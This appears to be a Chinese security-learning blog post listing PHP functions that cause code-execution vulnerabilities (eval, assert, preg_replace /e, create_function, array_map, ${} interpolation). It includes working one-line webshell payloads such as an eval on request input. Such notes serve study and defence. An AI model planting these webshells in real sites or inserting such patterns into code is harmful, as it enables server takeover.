代码执行命令

代码执行漏洞原理: 用户输入的数据被当做后端代码进行执行

<?php @eval($_REQUEST[8])?> //其实一句话木马的本质就是一个代码执行漏洞 用户输入的数据被当做代码进行执行。

在PHP存在诸多函数可以做到代码执行 [注:为了方便此处我把要执行的代码简写为$a] 1、eval($a); //eval是代码执行用的最多的,他可以多行执行 eval($_REQUEST['a']);

2、assert($a)//只能单行执行 assert($_REQUEST['a']) //如何多行执行呢?

写文件然后执行,例如: file_put_contents('1.php','<?php var_dump(8);phpinfo();?>')

3、preg_replace() //正则替换函数,他其实也会产生代码执行 preg_replace('/a/','x','abc'); <?php echo preg_replace('/a/e',$_GET[8],'bc');?>

4丶create_function() //匿名函数 $a = create_function('$id','echo $id;'); 自定义函数$a echo $a(8); //执行echo $id;因为$id我传参是8所以 echo $id;

5、array_map() //回调函数,调用某个函数。 图片是这个函数的用法,调用cube函数,传参 一句话木马: array_map('assert',array($POST['c'])); array_map($REQUEST['b'],array($_REQUEST['c'])); 请记住:Eval是无法调用的,因为eval比较特殊,不认为是函数,属于特殊写法 call_user_func() 也可回调,回调函数在PHP有很多

PHP版本5.5及其以上版本可以使用

"${phpinfo()}"; => 代码执行phpinfo()

PHP的字符串是可以使用复杂的表达式。例如 ${中间可以写调用的函数} ${phpinfo()}; //可以执行 $a = ${phpinfo()}; //可以执行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值